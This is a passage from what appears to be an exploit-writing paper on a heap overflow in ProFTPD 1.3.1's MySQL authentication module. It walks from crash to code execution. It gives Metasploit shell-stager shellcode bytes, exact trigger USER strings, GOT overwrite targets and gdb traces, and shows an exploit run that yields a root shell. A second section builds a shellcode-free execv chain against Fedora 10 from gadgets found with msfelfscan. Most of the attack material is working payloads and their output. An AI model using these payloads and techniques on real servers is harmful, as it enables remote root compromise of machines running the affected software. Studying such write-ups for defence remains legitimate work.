our contents, we can run shellcode. All that's required is a single
|
|
address. Let's say for arguments say, we use
|
|
|
|
USER ...SHELLCODE%m%a..<POINTER TO RETURN><OVERWRITE CONTENT>
|
|
|
|
We would overwrite the function pointer with a pointer to shellcode (our
|
|
original pointer - X bytes to hit it). If we need to brute force a target
|
|
pointer to overwrite, we can probably repeat <OVERWRITE CONTENT> several
|
|
times to cover more memory than normal.
|
|
|
|
Due to space considerations, it would be best to use a find sock / recv()
|
|
tag shellcode as a stager, then sending a another payload later on.
|
|
|
|
If shellcode size is a problem, it would be possible to spray our shellcode
|
|
across the heap in the fake auth attempt, and use an egg hunter code in the
|
|
trigger auth attempt. Ideally we would have a register or stack contents to
|
|
give us an idea of where to start in case of ASLR.
|
|
|
|
There are perhaps some other techniques that may be possible on certain
|
|
configurations, such as inputting the shellcode via reverse DNS, or in the
|
|
ident lookup text. While possible, it's not entirely needed at this point
|
|
in time and wasn't explored further.
|
|
|
|
Talking about shellcode, we should look at what character restrictions
|
|
have. Obviously, \x0d, \x0a, \x00 would be problematic since FTP is a text
|
|
line based protocol. Reading further over the contrib/mod_sql_mysql.c code,
|
|
we see that we have several other restrictions, as documented in [8], which
|
|
gives us the following bad characters:
|
|
|
|
\x0d (\r), \x0a (\n), \x00, \x27 ('), \x22 ("), \x08 (\b), \x09 (\t)
|
|
\x1b (\Z), \x5c (\\), \x5f (_), \x25 (%)
|
|
|
|
(That is, assuming we are exploiting ProFTPD getting auth information from
|
|
MySQL. If it's getting information from Postgresql, then the bad character
|
|
restrictions are probably different).
|
|
|
|
All in all, those restrictions aren't too bad, and some light
|
|
experimentation implies it should be fine to use, as the following pastes
|
|
show:
|
|
|
|
---
|
|
msf payload(shell_find_tag) > generate -b
|
|
"\x00\x27\x22\x08\x0a\x0d\x09\x1B\x5c\x5f" -t c -o PrependSetresuid=true
|
|
/*
|
|
* linux/x86/shell_find_tag - 102 bytes
|
|
* http://www.metasploit.com
|
|
* Encoder: x86/fnstenv_mov
|
|
* AppendExit=false, PrependSetresuid=true, TAG=2pDv,
|
|
* PrependSetuid=false, PrependSetreuid=false
|
|
*/
|
|
unsigned char buf[] =
|
|
"\x6a\x14\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x12\x87"
|
|
"\xe9\xb7\x83\xeb\xfc\xe2\xf4\x23\x4e\xd8\x6c\xe5\x64\x59\x13"
|
|
"\xdf\x07\xd8\x6c\x41\x0e\x0f\xdd\x52\x30\xe3\xe4\x44\xd4\x60"
|
|
"\x56\x94\x7c\x8f\x48\x13\xed\x8f\xef\xdf\x07\x68\x89\x20\xf7"
|
|
"\xad\xc1\x67\x77\xb6\x3e\xe9\xed\xeb\xee\x78\xb8\xb1\x7a\x92"
|
|
"\xce\x90\x4f\x78\x8c\xb1\x2e\x40\xef\xc6\x98\x61\xef\x81\x98"
|
|
"\x70\xee\x87\x3e\xf1\xd5\xba\x3e\xf3\x4a\x69\xb7";
|
|
|
|
...
|
|
|
|
msf payload(find_tag) > use payload/linux/x86/shell/find_tag
|
|
msf payload(find_tag) > generate -b
|
|
"\x00\x27\x22\x08\x0a\x0d\x09\x1B\x5c\x5f" -t c -o PrependSetresuid=true
|
|
/*
|
|
* linux/x86/shell/find_tag - 74 bytes (stage 1)
|
|
* http://www.metasploit.com
|
|
* Encoder: x86/shikata_ga_nai
|
|
* AppendExit=false, PrependSetresuid=true, TAG=qvkV,
|
|
* PrependSetuid=false, PrependSetreuid=false
|
|
*/
|
|
unsigned char buf[] =
|
|
"\x31\xc9\xbf\xd3\xde\x9e\x99\xdb\xc9\xd9\x74\x24\xf4\x5b\xb1"
|
|
"\x0c\x83\xc3\x04\x31\x7b\x0f\x03\x7b\x0f\xe2\x26\xef\x57\xa8"
|
|
"\x13\xe7\x8b\x7b\x07\xc5\xcc\x4d\x9c\x85\x45\x4b\x48\x6a\xe1"
|
|
"\x9e\xdf\x3c\x5e\x16\x3e\x46\x9b\x4e\x3f\x46\x36\xe9\xe7\x84"
|
|
"\x46\x74\x29\x66\x31\x1c\x03\xfd\x4d\xbd\x57\x50\x52\xa4";
|
|
|
|
/*
|
|
* linux/x86/shell/find_tag - 36 bytes (stage 2)
|
|
* http://www.metasploit.com
|
|
*/
|
|
unsigned char buf[] =
|
|
"\x89\xfb\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x6a\x0b"
|
|
"\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
|
|
"\x52\x53\x89\xe1\xcd\x80";
|
|
---
|
|
|
|
We can note down that we require 74 bytes or so for the shellcode.
|
|
|
|
If character encoding is enabled in ProFTPD (via mod_lang), this may incur
|
|
further restrictions in characters we can use, or alternatively require
|
|
decoding our payload, so that when it's encoded, it is correct. If
|
|
possible/suitable, that is :p
|
|
|
|
If the pointers we are after contain a bad character, we're in a little bit
|
|
of trouble :|
|
|
|
|
------[ 3.4.2 - Data manipulation ]
|
|
|
|
There are plenty of global variables that can be modified in ProFTPD, that
|
|
can/may be useful for data manipulation.
|
|
|
|
grep'ing the src/ directory for "authenticated" shows some interesting
|
|
code:
|
|
|
|
---
|
|
288 static void shutdown_exit(void *d1, void *d2, void *d3, void *d4) {
|
|
289 if (check_shutmsg(&shut, &deny, &disc, shutmsg, sizeof(shutmsg)) ==
|
|
1) {
|
|
290 char *user;
|
|
291 time_t now;
|
|
292 char *msg;
|
|
293 const char *serveraddress;
|
|
294 config_rec *c = NULL;
|
|
295 unsigned char *authenticated = get_param_ptr(main_server->conf,
|
|
296 "authenticated", FALSE);
|
|
297
|
|
...
|
|
388 if (c->requires_auth && cmd_auth_chk && !cmd_auth_chk(cmd))
|
|
389 return -1;
|
|
390
|
|
... (cmd_auth_chk being a .bss function pointer)
|
|
393 cmdargstr = make_arg_str(cmd->tmp_pool, cmd->argc, cmd->argv);
|
|
394
|
|
395 if (cmd_type == CMD) {
|
|
396
|
|
397 /* The client has successfully authenticated... */
|
|
398 if (session.user) {
|
|
399 char *args = strchr(cmdargstr, ' ');
|
|
400
|
|
401 pr_scoreboard_entry_update(session.pid,
|
|
402 PR_SCORE_CMD, "%s", cmd->argv[0], NULL, NULL);
|
|
403 pr_scoreboard_entry_update(session.pid,
|
|
404 PR_SCORE_CMD_ARG, "%s", args ?
|
|
405 pr_fs_decode_path(cmd->tmp_pool, (args+1)) : "", NULL,
|
|
NULL);
|
|
406
|
|
407 pr_proctitle_set("%s - %s: %s", session.user,
|
|
session.proc_prefix,
|
|
408 cmdargstr);
|
|
409
|
|
410 /* ...else the client has not yet authenticated */
|
|
411 } else {
|
|
412 pr_proctitle_set("%s:%d: %s", session.c->remote_addr ?
|
|
413 pr_netaddr_get_ipstr(session.c->remote_addr) : "?",
|
|
414 session.c->remote_port ? session.c->remote_port : 0,
|
|
cmdargstr);
|
|
415 }
|
|
416 }
|
|
---
|
|
|
|
in modules/mod_auth.c:
|
|
|
|
---
|
|
59 /* auth_cmd_chk_cb() is hooked into the main server's auth_hook
|
|
function,
|
|
60 * so that we can deny all commands until authentication is complete.
|
|
61 */
|
|
62 static int auth_cmd_chk_cb(cmd_rec *cmd) {
|
|
63 unsigned char *authenticated = get_param_ptr(cmd->server->conf,
|
|
64 "authenticated", FALSE);
|
|
65
|
|
66 if (!authenticated || *authenticated == FALSE) {
|
|
67 pr_response_send(R_530, _("Please login with USER and PASS"));
|
|
68 return FALSE;
|
|
69 }
|
|
70
|
|
71 return TRUE;
|
|
72 }
|
|
73
|
|
---
|
|
|
|
The authenticated configuration directive is set:
|
|
|
|
---
|
|
1846 c = add_config_param_set(&cmd->server->conf, "authenticated", 1,
|
|
NULL);
|
|
1847 c->argv[0] = pcalloc(c->pool, sizeof(unsigned char));
|
|
1848 *((unsigned char *) c->argv[0]) = TRUE;
|
|
---
|
|
|
|
It seems a little complicated to call due to other code around it.. but
|
|
it'd probably be possible to with a bit of effort and the stack wasn't
|
|
randomized, or maybe some other approaches. That said, the author isn't
|
|
going to spend much time looking at it. One last thought on the matter:
|
|
|
|
---
|
|
192 /* By default, enable auth checking */
|
|
193 set_auth_check(auth_cmd_chk_cb);
|
|
---
|
|
|
|
If authentication is bypassed, but setresuid() is not callable (via NX, or
|
|
whatever), then there is a slight restriction of the user id it has by
|
|
default:
|
|
|
|
# cat /proc/19840/status
|
|
Name: proftpd
|
|
State: T (tracing stop)
|
|
Tgid: 19840
|
|
Pid: 19840
|
|
PPid: 19830
|
|
TracerPid: 19846
|
|
Uid: 0 65534 0 65534
|
|
Gid: 65534 65534 65534 65534
|
|
FDSize: 32
|
|
Groups: 65534
|
|
...
|
|
CapInh: 0000000000000000
|
|
CapPrm: ffffffffffffffff
|
|
CapEff: 0000000000000000
|
|
CapBnd: ffffffffffffffff
|
|
|
|
UID/GID list in real, effective, saved, fsuid format. Without reverting
|
|
privileges, it limits what we can do. That said, it allows for a lot of
|
|
information leaking if the directory permissions aren't too strict / acl's
|
|
aren't too strict.
|
|
|
|
--[ 4 - Writing an exploit ]
|
|
|
|
Before writing an exploit, we should quickly review what we have found out
|
|
before:
|
|
|
|
- Variable substitution allows us expand past the allocated 4096 bytes
|
|
- %m/%r duplicates our input
|
|
- %a gives us our IP address
|
|
- %f gives us -
|
|
- %T gives us 0.0
|
|
- %Z gives us {UNKNOWN TAG}
|
|
- %l gives us UNKNOWN if ident checking is disabled (default).. we'll use
|
|
it even though it's not ideal (ident could be enabled, and if the box
|
|
where the exploit is ran from is running ident, it could affect the
|
|
ProFTPD heap layout more.
|
|
|
|
%a isn't all that good for a remote exploit, as the byte count can differ
|
|
(attacking from 1.2.3.4 vs 136.246.139.246. We'll try excluding that for
|
|
now, although it's useful for consuming small chunks :|
|
|
|
|
In order to exploit this vulnerability, we can re-use some of our existing
|
|
code to find the input strings needed against new targets when we can
|
|
replicate a target environment.
|
|
|
|
------[ 4.1 - Exploitation via arbitrary pointer return ]
|
|
|
|
So, let's see, what do we need to do?
|
|
|
|
- Find a suitable trigger string that allows us, say:
|
|
- 16 byte overwrite (since our offset is 12 for first_avail pointer)
|
|
- 74 bytes of shellcode. Should be plenty of space, and enough to do
|
|
interesting things with.
|
|
|
|
- Find a suitable target. For the most part, the GOT seems a good
|
|
target, though this may be reassessed later on.
|
|
- Ideally you'd want to use a libc function that will be used next.
|
|
Due to the style of attack we're using, if it uses another libc
|
|
function, we may overwrite it with crap (crap being stuff like table
|
|
entries / names / our expanded string) :(
|
|
|
|
After some experimentation, I came up with the following input strings to
|
|
trigger the vulnerability with a suitable call tree:
|
|
|
|
- USER %T%m%Z%m%T%l%m%f%l%m%lA%T%m%f%f%l%m%m%T%m%f%m%m%m%mA%m%f%f%l%m%TA%m%
|
|
m%f%l%TA%fA%l%Z%fA%T%T%l%f%l%f%f%Z%l%m%Z%f%l%T%f%Z%fAAA%Z%l%m%fA%l%m%TA%ZA%
|
|
f%lAA%f%m%Z%Z%Z%T%Z%f%m%Z%l%fA%Z
|
|
- PASS invalid
|
|
- USER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAA%T%f%TA%Z%m%Z%mA%m%ZA%Z%l%mA%T%mA%T%m%f%ZA%m%f%m%Z%m%T%m%T%m%f%fA%ZA%
|
|
m%T%m%m%Z%T%m%Z%lA%T%l%l%T%f%Z%m%f%f%T%f%Z%l%m%TA%mAa0Aa1Aa2Aa3Aa4A
|
|
|
|
And we have a crash writing to 0x41346141 ;)
|
|
|
|
With that info in hand, we can start writing the exploit.. let's find a
|
|
target to overwrite.. From glancing over the back traces, it looks like
|
|
mysql_real_query() is a suitable target.
|
|
|
|
080e81a8 R_386_JUMP_SLOT mysql_real_query
|
|
|
|
Plugging that in, and we get:
|
|
|
|
Program received signal SIGSEGV, Segmentation fault.
|
|
[Switching to Thread 0xb7c7a6b0 (LWP 12830)]
|
|
0x41414141 in ?? ()
|
|
(gdb) bt
|
|
#0 0x41414141 in ?? ()
|
|
#1 0x080c0ea1 in cmd_select (cmd=0x98ae7ec) at mod_sql_mysql.c:838
|
|
|
|
Well, that's good. Not entirely what I was expecting though. Looking at the
|
|
backtrace, we see it's calling time(NULL), so let's see:
|
|
|
|
080e8218 R_386_JUMP_SLOT time
|
|
|
|
4187 int sql_log(int level, const char *fmt, ...) {
|
|
4188 char buf[PR_TUNABLE_BUFFER_SIZE] = {'\0'};
|
|
4189 time_t timestamp = time(NULL);
|
|
4190 struct tm *t = NULL;
|
|
4191 va_list msg;
|
|
|
|
So, it looks like time is a better target. Updating our exploit:
|
|
|
|
Program received signal SIGSEGV, Segmentation fault.
|
|
[Switching to Thread 0xb7c7a6b0 (LWP 12923)]
|
|
0x72657375 in ?? ()
|
|
(gdb)
|
|
|
|
That looks better (>>> "72657375".decode('hex') -> 'resu')
|
|
|
|
(gdb) x/s 0x080e8218
|
|
0x80e8218 <_GLOBAL_OFFSET_TABLE_+548>: "userid, passwd, uid, gid,
|
|
homedir, shell FROM ftpuser WHERE (userid='", 'A' <repeats 74 times>,
|
|
"0.0-0.0A{UNKNOWN TAG}", 'A' <repeats 36 times>...
|
|
|
|
Looking further
|
|
|
|
(gdb) call strlen(0x080e8218)
|
|
$1 = 4155
|
|
(gdb) x/s 0x080e8218+4155-128
|
|
0x80e91d3 <scoreboard_file+2963>:
|
|
"%Z%m%Z%mA%m%ZA%Z%l%mA%T%mA%T%m%f%ZA%m%f%m%Z%m%T%m%T%m%f%fA%ZA%m%T%m%m%Z%T%
|
|
m%Z%lA%T%l%l%T%f%Z%m%f%f%T%f%Z%l%m%TA%mAa0Aa1Aa2Aa3\030\202\016"
|
|
(gdb) x/40x 0x080e8218+4155-64
|
|
0x80e9213 <[...]_file+3027>: 0x256d2554 0x255a256d 0x256d2554 0x416c255a
|
|
0x80e9223 <[...]_file+3043>: 0x6c255425 0x54256c25 0x5a256625 0x66256d25
|
|
0x80e9233 <[...]_file+3059>: 0x54256625 0x5a256625 0x6d256c25 0x25415425
|
|
0x80e9243 <[...]_file+3075>: 0x3061416d 0x41316141 0x61413261 0x0e821833
|
|
|
|
Playing around further, we see that strlen() is called before that, so
|
|
further experimentation reveals we want to overwrite:
|
|
|
|
080e819c R_386_JUMP_SLOT strlen
|
|
|
|
(Code for this can be found in [9])
|
|
|
|
And our offset is 0x080e819c-358..
|
|
|
|
Program received signal SIGSEGV, Segmentation fault.
|
|
[Switching to Thread 0xb7c7a6b0 (LWP 13357)]
|
|
0x41306141 in ?? ()
|
|
|
|
So, we've made it jump to another pattern in msf.. which we can replace
|
|
with a pointer to our shellcode.. which will be:
|
|
|
|
(gdb) x/s 0x080e819c
|
|
0x80e819c <_GLOBAL_OFFSET_TABLE_+424>:
|
|
"Aa0Aa1Aa2Aa36\200\016\b{UNKNOWN TAG}", 'A' <repeats 74 times>,
|
|
"%T%f%TA%Z%m%Z%mA%m%ZA%Z%l%mA%T%mA%T%m%f%ZA%m%f%m%Z%m%T%m%T%m%f%fA%ZA%m%T%m
|
|
%m%Z%T%m%Z%lA%T%l%l%T%f"...
|
|
(gdb) x/s 0x080e819c+29
|
|
0x80e81b9 <_GLOBAL_OFFSET_TABLE_+453>: 'A' <repeats 74 times>,
|
|
"%T%f%TA%Z%m%Z%mA%m%ZA%Z%l%mA%T%mA%T%m%f%ZA%m%f%m%Z%m%T%m%T%m%f%fA%ZA%m%T%m
|
|
%m%Z%T%m%Z%lA%T%l%l%T%f%Z%m%f%f%T%f%Z%l%m%TA%mAa0Aa1"...
|
|
|
|
To hit our A's.
|
|
|
|
We can now use a suitable stager findsock/execve shell... We'll use the one
|
|
we found earlier with metasploit. Verifying that we can hit our shellcode,
|
|
we see:
|
|
|
|
Program received signal SIGTRAP, Trace/breakpoint trap.
|
|
[Switching to Thread 0xb7c7a6b0 (LWP 13476)]
|
|
0x080e81ba in _GLOBAL_OFFSET_TABLE_ ()
|
|
|
|
So, now we get to validate the shellcode works as expected (code can be
|
|
found in [10])
|
|
|
|
Program received signal SIGSEGV, Segmentation fault.
|
|
[Switching to Thread 0xb7b666b0 (LWP 13648)]
|
|
0xbf86cad0 in ?? ()
|
|
(gdb) x/10i $eip
|
|
0xbf86cad0: mov %edi,%ebx
|
|
0xbf86cad2: push $0x2
|
|
0xbf86cad4: pop %ecx
|
|
0xbf86cad5: push $0x3f
|
|
0xbf86cad7: pop %eax
|
|
0xbf86cad8: int $0x80
|
|
0xbf86cada: dec %ecx
|
|
0xbf86cadb: jns 0xbf86cad5
|
|
0xbf86cadd: push $0xb
|
|
0xbf86cadf: pop %eax
|
|
|
|
Whoops. Not so much. The stager code works by reading from the socket to
|
|
the stack, and jumping to the stack once complete. It seems that the kernel
|
|
I'm using doesn't make the stack executable even if you setarch/personality
|
|
it.
|
|
|
|
We could work around that short coming in metasploit by changing our
|
|
shellcode to read() into a different buffer, or mmap() some suitable
|
|
memory, or one of a hundred things. For now though, I'll cheat and install
|
|
the generic kernel, and try to finish off this paper :)
|
|
|
|
Installing the ubuntu -generic kernel, we see (in gdb):
|
|
|
|
---
|
|
[New process 4936]
|
|
Executing new program: /bin/dash
|
|
(no debugging symbols found)
|
|
warning: Cannot initialize thread debugging library: generic error
|
|
warning: Cannot initialize thread debugging library: generic error
|
|
(no debugging symbols found)
|
|
[New process 4936]
|
|
(no debugging symbols found)
|
|
---
|
|
# python exploitsc.py 127.0.0.1
|
|
Banner is [220 ProFTPD 1.3.1 Server (ProFTPD Default Installation)
|
|
[127.0.0.1]]
|
|
331 Password required for %T%m%Z%m%T%l%m%f%l%m%lA%T%m%f%f%l%m%m%T%m%f%m%m%m
|
|
%mA%m%f%f%l%m%TA%m%m%f%l%TA%fA%l%Z%fA%T%T%l%f%l%f%f%Z%l%m%Z%f%l%T%f%Z%fAAA%
|
|
Z%l%m%fA%l%m%TA%ZA%f%lAA%f%m%Z%Z%Z%T%Z%f%m%Z%l%fA%Z
|
|
530 Login incorrect.
|
|
*** With luck, you should have a shell ***
|
|
|
|
id
|
|
uid=0(root) gid=65534(nogroup) groups=65534(nogroup)
|
|
uname -a
|
|
Linux ubuntu 2.6.27-14-generic #1 SMP Tue Aug 18 16:25:45 UTC 2009 i686
|
|
GNU/Linux
|
|
---
|
|
|
|
Well, that demonstrates from source code to shellcode execution..
|
|
exploitation via the demonstrated avenue isn't ideal, but still pretty
|
|
decent.
|
|
|
|
------[ 4.1 - Cleanup structure crash ]
|
|
|
|
While experimenting with the auth bypass idea with one of the
|
|
3d10e2a054d8124ab4de5b588c592830 crashes, I hit a pool cleanup structure,
|
|
and decided to experiment further (with a overwrite of 44 bytes), and
|
|
exploit it without any shellcode required.
|
|
|
|
For this section, we'll target Fedora 10, and the following packages:
|
|
|
|
fbf3dccc1a396cda2d8725b4503bfc16 proftpd-1.3.1-6.fc10.i386.rpm
|
|
938fd1a965d72ef44cd4106c750a0a2d proftpd-mysql-1.3.1-6.fc10.i386.rpm
|
|
|
|
Firstly, we'll quickly review some of the protection measures
|
|
enabled/available in Fedora 10.
|
|
|
|
- Exec-shield
|
|
- Aims to prevent code execution via Code Selector limits, or via PAE.
|
|
- CS limits are not ideal.
|
|
|
|
- FORTIFY_SOURCE
|
|
- Instruments code during compiling and aims to prevent overflows via
|
|
common library functions.
|
|
|
|
- PIE binaries
|
|
- Some binaries available in Fedora 10 are compiled as a position
|
|
independant executable (PIE).
|
|
- Numerous binaries are compiled as ET_EXEC's, however, including
|
|
ProFTPD.
|
|
|
|
- SELinux
|
|
- SELinux is a kernel feature that allows mandatory access control in the
|
|
kernel. For what we're concerned about, it's aimed at restricting what
|
|
can happen post exploitation. A frequent criticism of SELinux is that
|
|
it does not protect the kernel against attack.
|
|
|
|
So, looking at the crash:
|
|
|
|
Program received signal SIGSEGV, Segmentation fault.
|
|
destroy_pool (p=0x8731eac) at pool.c:415
|
|
415 if (p->parent->sub_pools == p)
|
|
(gdb) p *p
|
|
$1 = {first = 0x61413561, last = 0x37614136, cleanups = 0x41386141,
|
|
sub_pools = 0x62413961, sub_next = 0x31624130, sub_prev = 0x0,
|
|
parent = 0x62413362, free_first_avail = 0x8002927 <Address 0x8002927
|
|
out of bounds>, tag = 0x0}
|
|
|
|
Quick glance at the source code (from the proftpd-1.3.2-rc2 release, not
|
|
the fedora release):
|
|
|
|
---
|
|
410 void destroy_pool(pool *p) {
|
|
411 if (p == NULL)
|
|
412 return;
|
|
413
|
|
414 pr_alarms_block();
|
|
415
|
|
416 if (p->parent) {
|
|
417 if (p->parent->sub_pools == p)
|
|
418 p->parent->sub_pools = p->sub_next;
|
|
419
|
|
420 if (p->sub_prev)
|
|
421 p->sub_prev->sub_next = p->sub_next;
|
|
422
|
|
423 if (p->sub_next)
|
|
424 p->sub_next->sub_prev = p->sub_prev;
|
|
425 }
|
|
426 clear_pool(p);
|
|
427 free_blocks(p->first, p->tag);
|
|
428
|
|
429 pr_alarms_unblock();
|
|
430 }
|
|
---
|
|
|
|
So, we can see that we overwrote p->parent, and thus entered the
|
|
conditional on line 416. In order to effectively bypass that section, we
|
|
need:
|
|
|
|
- p->parent to point to accessible memory (doesn't matter where, it's
|
|
unlikely to point to p)
|
|
|
|
- p->sub_prev got nulled out earlier, so it doesn't matter.
|
|
|
|
- p->sub_next to point to writable memory.
|
|
|
|
- p->cleanups to point to some memory to be the cleanup structure.
|
|
|
|
The cleanup structure looks like:
|
|
|
|
---
|
|
655 typedef struct cleanup {
|
|
656 void *data;
|
|
657 void (*plain_cleanup_cb)(void *);
|
|
658 void (*child_cleanup_cb)(void *);
|
|
659 struct cleanup *next;
|
|
660 } cleanup_t;
|
|
---
|
|
|
|
---
|
|
693 static void run_cleanups(cleanup_t *c) {
|
|
694 while (c) {
|
|
695 (*c->plain_cleanup_cb)(c->data);
|
|
696 c = c->next;
|
|
697 }
|
|
698 }
|
|
---
|
|
|
|
The benefits of run_cleanups is that we could call a bunch of different
|
|
pointers as needed.
|
|
|
|
So, all we need now is to meet our requirements earlier.. For
|
|
reading/writing memory, the BSS is fine.
|
|
|
|
For the cleanup structure, we need something that is not randomized, and
|
|
that we know the offset for. Luckily for us, ProFTPD formats its response
|
|
into the resp_buf buffer, which is on the BSS.
|
|
|
|
(gdb) p resp_buf
|
|
$5 = "Login incorrect.\000 for
|
|
%m%m%TA%ZA%f%l%fA%mAA%f%TA%f%f%l%l%m%lA%f%Z%m%m%TA%Z%ZA%T%Z%ZAAA%m%m%f%m%T%
|
|
m%f%fA%T%T%Z%l%T%m%l%f%f%f%Z%Z%l%TA%l%l%f%mAA%Z%TAA%f%m%ZAA%l%Z%Z%m%Z%lA%f%
|
|
m"...
|
|
|
|
And, it doesn't clear memory, leaving old data available for us to use as
|
|
our structure location. Our first fake auth will have a bunch of
|
|
AAAA / BBBB / CCCC we can use for replacing.
|
|
|
|
With those in mind, we can trigger the vulnerability, and see what's
|
|
available to us:
|
|
|
|
Program received signal SIGSEGV, Segmentation fault.
|
|
0x0805c82d in run_cleanups (c=0x80ed933) at pool.c:730
|
|
730 (*c->plain_cleanup_cb)(c->data);
|
|
..
|
|
(gdb) x/10i $eip
|
|
0x805c82d <run_cleanups+16>: call *0x4(%ebx)
|
|
(gdb) x/4x $ebx
|
|
0x80ed933 <resp_buf+179>: 0x42424242 0x43434343
|
|
0x44444444 0x45454545
|
|
|
|
Hm, so we need a location in memory to jump to. We control the first
|
|
argument to the function, which is useful. . Looking at the symbol
|
|
table, we see some stuff of interest:
|
|
|
|
|
|
080e44f4 R_386_JUMP_SLOT __printf_chk
|
|
080e4574 R_386_JUMP_SLOT mempcpy
|
|
080e4578 R_386_JUMP_SLOT __memcpy_chk
|
|
080e4604 R_386_JUMP_SLOT dlsym
|
|
080e46a4 R_386_JUMP_SLOT execv
|
|
080e469c R_386_JUMP_SLOT memcpy
|
|
080e48d4 R_386_JUMP_SLOT mmap64
|
|
080e4800 R_386_JUMP_SLOT strcat
|
|
|
|
|
|
dlsym() might be useful if we can get the results and save it somewhere.
|
|
|
|
memcpy()/strcat()/memcpy()/etc could be useful for constructing a ret to
|
|
libc style attack.
|
|
|
|
printf() could be used to leak memory contents. Can't use it for writing
|
|
to memory due to FORTIFY_SOURCE.
|
|
|
|
mmap64() could be useful to map memory readable, writable and executable
|
|
(assuming SELinux allows it, which is unlikely in recent releases).
|
|
|
|
execv() could be used to execute an arbitrary process (assuming not
|
|
prevented by SELinux). execv() takes two parameters, program to execute,
|
|
and argument list. The argument list must consist of valid pointers to
|
|
readable memory, or the execve() (syscall) will fail.
|
|
|
|
Since execv() looks like least effort, we'll need to find a way to modify
|
|
the stack so that the next argument is a pointer to something suitable (a
|
|
pointer to NULL would be sufficient)
|
|
|
|
(gdb) x/4x $esp
|
|
0xbf977c60: 0x42424242 0x080ccbe2 0x080e8a40
|
|
0x08730578
|
|
(gdb) x/s 0x080ccbe2
|
|
0x80ccbe2: "getgroups"
|
|
|
|
Taking stock of what we have:
|
|
|
|
eax 0x42424242 1111638594
|
|
ecx 0x8734e10 141774352
|
|
edx 0x80eb040 135180352
|
|
ebx 0x80ed933 135190835
|
|
esp 0xbf977c60 0xbf977c60
|
|
ebp 0xbf977c78 0xbf977c78
|
|
esi 0x8731eac 141762220
|
|
edi 0x80f680c 135227404
|
|
|
|
We control eax, edx (edx is the fake pointer for sub_prev/sub_next
|
|
stuff), we control ebx to an extent:
|
|
|
|
(gdb) x/7x $ebx
|
|
0x80ed933 <resp_buf+179>: 0x42424242 0x43434343 0x44444444 0x45454545
|
|
0x80ed943 <resp_buf+195>: 0x46464646 0x47474747 0x48484848
|
|
|
|
We control esi to an extent:
|
|
(gdb) x/s $esi
|
|
0x8731eac: "a5Aa6Aa73\331016\ba9Ab@\260\016\b"
|
|
|
|
So, with that in mind, we are looking for writes to stack at [esp],
|
|
[esp+4], [esp+8] and [esp+0xc], and hopefully then a jump register.
|
|
|
|
We can assemble a bunch of instructions, and use msfelfscan to show
|
|
potential hits:
|
|
|
|
ruby msfelfscan -r
|
|
"\x89[\x44\x54]\x24[\x04\x08\x0c][^\xff\xe8]*\xff[\x53\x10\x50\xd0-\xe0]"
|
|
/usr/sbin/proftpd
|
|
[/usr/sbin/proftpd]
|
|
0x0805b10a 8944240c89d02b4308894424088b431089142489442404ff53
|
|
0x0805b81d 894424048b450c890424ffd2
|
|
0x0805cd62 8944240c8b4310894424088b4208894424048b4204890424ffd7
|
|
0x0805e158 8944240889742404c70424df7b0d08ffd7
|
|
0x08063ed8 8944240c8b431c894424088b4318894424048b4314890424ff53
|
|
0x080706cc 895424048b5508891424ff50
|
|
0x08070720 89442404a13cd80e088b5508891424ff50
|
|
0x08070754 89442404a144d80e088b5508891424ff50
|
|
0x08070787 89442404a140d80e088b5508891424ff50
|
|
0x08070a84 89542404ff50
|
|
0x08070acb 89442404a13cd80e08ff50
|
|
0x08070af3 89442404a144d80e08ff50
|
|
0x08070b5a 89442404a140d80e08ff50
|
|
0x08070cc2 89542404ff50
|
|
0x08070ce3 89442404a13cd80e08ff50
|
|
0x08070d0b 89442404a144d80e08ff50
|
|
0x08070d4a 89442404a140d80e08ff50
|
|
0x08072081 8944240ca184ec0e08890424ffd2
|
|
0x08072127 8944240c8b4604c744240462c20c0889442408a184ec0e08890424ffd2
|
|
0x080721da 8944240ca184ec0e08890424ffd2
|
|
0x0807222b 8944240c8b4604c74424046ac20c0889442408a184ec0e08890424ffd2
|
|
0x080722ac 89442408a184ec0e08890424ffd2
|
|
0x0807824b 894424088954240c8b460489342489442404ff53
|
|
0x080782f2 8954240c894424088b460489342489442404ff53
|
|
0x08078388 8944240c8b450c894424088b460489342489442404ff53
|
|
0x08078468 8944240c8b450c894424088b460489342489442404ff53
|
|
0x08078798 894424088b460489342489442404ff53
|
|
0x08078a4b 89442404ff53
|
|
0x08079b08 8944240889742404891c24ffd2
|
|
0x08079bf2 8944240c8b450c89442408ff53
|
|
0x08079c93 89442404ff53
|
|
0x08079d1c 89442404ff53
|
|
0x0807a16c 8944240c8b450c89442408ff53
|
|
0x0807a264 89442408ff53
|
|
0x0807a7e7 89442408ffd6
|
|
0x0807c7d3 89442404ff53
|
|
0x0807c85c 89442404ff53
|
|
0x0807cc9c 8944240c8b450c89442408ff53
|
|
0x0807e412 89542408894c2404893424ffd3
|
|
0x0807f209 89442404ffd7
|
|
0x0807f222 89442404ffd7
|
|
0x0807f262 89442404ffd7
|
|
|
|
After spending some time looking at the output, we find one that fits the
|
|
bill, and is absolutely perfect.
|
|
|
|
(gdb) x/10i 0x08063ed8
|
|
0x8063ed8 <run_schedule+56>: mov %eax,0xc(%esp)
|
|
0x8063edc <run_schedule+60>: mov 0x1c(%ebx),%eax
|
|
0x8063edf <run_schedule+63>: mov %eax,0x8(%esp)
|
|
0x8063ee3 <run_schedule+67>: mov 0x18(%ebx),%eax
|
|
0x8063ee6 <run_schedule+70>: mov %eax,0x4(%esp)
|
|
0x8063eea <run_schedule+74>: mov 0x14(%ebx),%eax
|
|
0x8063eed <run_schedule+77>: mov %eax,(%esp)
|
|
0x8063ef0 <run_schedule+80>: call *0xc(%ebx)
|
|
|
|
If we execute from 0x8063ee3, it does the job perfectly. It will load
|
|
pointers from $ebx (which we can populate however we want), and stick them
|
|
on the stack, then jump to an address we want. We will need a program to
|
|
execute, and a pointer to NULL. We can craft the fakeauth attempt as:
|
|
|
|
...memory stuff...AAAABBBBCCCC.../bin/sh or /usr/bin/python (as it's
|
|
important to have NULL termination, which will be provided).
|
|
|
|
Hardware assisted breakpoint 1 at 0x8063ee3: file support.c, line 132.
|
|
|
|
Breakpoint 1, 0x08063ee3 in run_schedule () at support.c:132
|
|
132 s->f(s->a1,s->a2,s->a3,s->a4);
|
|
